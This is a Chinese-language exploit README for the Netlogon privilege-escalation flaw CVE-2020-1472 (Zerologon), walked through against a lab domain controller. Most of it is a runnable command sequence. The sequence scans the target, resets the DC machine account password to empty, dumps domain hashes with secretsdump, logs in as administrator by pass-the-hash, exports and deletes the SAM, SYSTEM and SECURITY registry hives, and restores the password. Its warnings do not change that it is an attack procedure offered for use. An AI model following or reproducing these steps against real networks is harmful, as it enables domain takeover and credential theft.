## CVE-2020-1472

#### 描述

攻击者使用Netlogon远程协议（MS-NRPC）建立与域控制器的易受攻击的Netlogon安全通道连接时，将存在特权提升漏洞。攻击者可以利用漏洞进行远程修改密码等操作

#### 影响版本

| Product             | CPU Architecture | Version | Update | Tested             |
| :------------------ | :--------------- | ------- | ------ | ------------------ |
| Windows Server 2008 | x64              | R2      | SP1    | &#10004; |
| Windows Server 2012 |                  |         |        |                    |
| Windows Server 2012 |                  | R2      |        |                    |
| Windows Server 2016 |                  |         |        |                    |
| Windows Server 2019 |                  |         |        |                    |
| Windows Server      |                  | 1903    |        |                    |
| Windows Server      |                  | 1909    |        |                    |
| Windows Server      |                  | 2004    |        |                    |
| Windows Server      |                  | 20H2    |        |                    |

#### 修复补丁

```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
```

#### 利用方式

> 注意：EXP脚本会重置域控机器的密码！！！不要瞎鸡儿乱用！！！！！！！！

测试机器Windows Server 2008 R2 SP1 X64 ，并且设置环境为域控机器

![image-20201002201920794](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_dc-server.png)

由上图可知：

- 域为->ascotbe.com
- 计算机名为->dc
- 域控ip->192.168.183.171

使用前环境配置，需要Python3.7+的版本，如果之前有安装过`impacket`的python包的话（比如kali）需要卸载了在重新安装`0.9.21`这个版本的包，快捷语句`python3 -m pip install git+https://github.com/SecureAuthCorp/impacket`，下面是通用方法

```
python3 -m pip install -r Kernelhub.txt
#如果嫌弃下载慢项目上有下载好的解压后即可用
git clone --depth=1 https://github.com/SecureAuthCorp/impacket
```

> 扫描脚本

该脚本用于测试机器是否存在漏洞

```
#Usage: CVE-2020-1472_Scan.py <dc-name> <dc-ip>
python3 CVE-2020-1472_Scan.py dc 192.168.183.171
```

![image-20201002203037104](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_scan.png)

> 利用脚本

该脚本会使用后会把密码重置为空！！乱用容易对照成损失！！

```
#Usage: CVE-2020-1472_Exploit.py <dc-name> <dc-ip>
python3 CVE-2020-1472_Exploit.py dc 192.168.183.171
```

![image-20201002204223509](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_exp.png)

接着进入下载好的`impacket`项目，使用空密码登录

```
cd impacket/examples/
#Usage: secretsdump.py <dc>/<dc-name>\$@<dc-ip>
python3 secretsdump.py ascotbe.com/dc\$@192.168.183.171 -no-pass
```

![image-20201002203751057](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_secretsdump.png)

接着利用hash进行登录

```
#Usage: wmiexec.py -hashes <user-hash> <dc>/<user-name>@<dc-ip>
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:45280efa2300182b4f7fdc2cee182149  ascotbe.com/administrator@192.168.183.171
```

![image-20201002204817764](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_wmiexec.png)

> 还原密码

保存密码后下载到本地，接着删除域控上的文件

```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del system.save
del sam.save
del security.save
```

![image-20201002205958192](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_hash.png)

接着进行解密

```
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```

![image-20201002210258903](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_decrypt_hash.png)

可以看到这是之前修改之前的密码，接着回到桌面使用脚本恢复密码

```
#Usage: CVE-2020-1472_RestoreOriginalPassword.py <dc-name> <dc-ip> <dc-original-hash>
python3 CVE-2020-1472_RestoreOriginalPassword.py dc 192.168.183.171 d4ac5a73fd3f13dfd9d6de036a9e99a2
```

![image-20201002212122966](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2020-1472_restore_original_password.png)

#### 分析文章
- https://xz.aliyun.com/t/8367
- https://www.freebuf.com/articles/system/249860.html
- https://www.freebuf.com/vuls/249813.html
- https://cert.360.cn/report/detail?id=2e904ef9ac96834a3dd7fc058cea4fe5

#### 项目来源

- 扫描脚本:[SecuraBV](https://github.com/SecuraBV/CVE-2020-1472)
- 利用脚本:[dirkjanm](https://github.com/dirkjanm/CVE-2020-1472)
- 恢复脚本:[risksense](https://github.com/risksense/zerologon)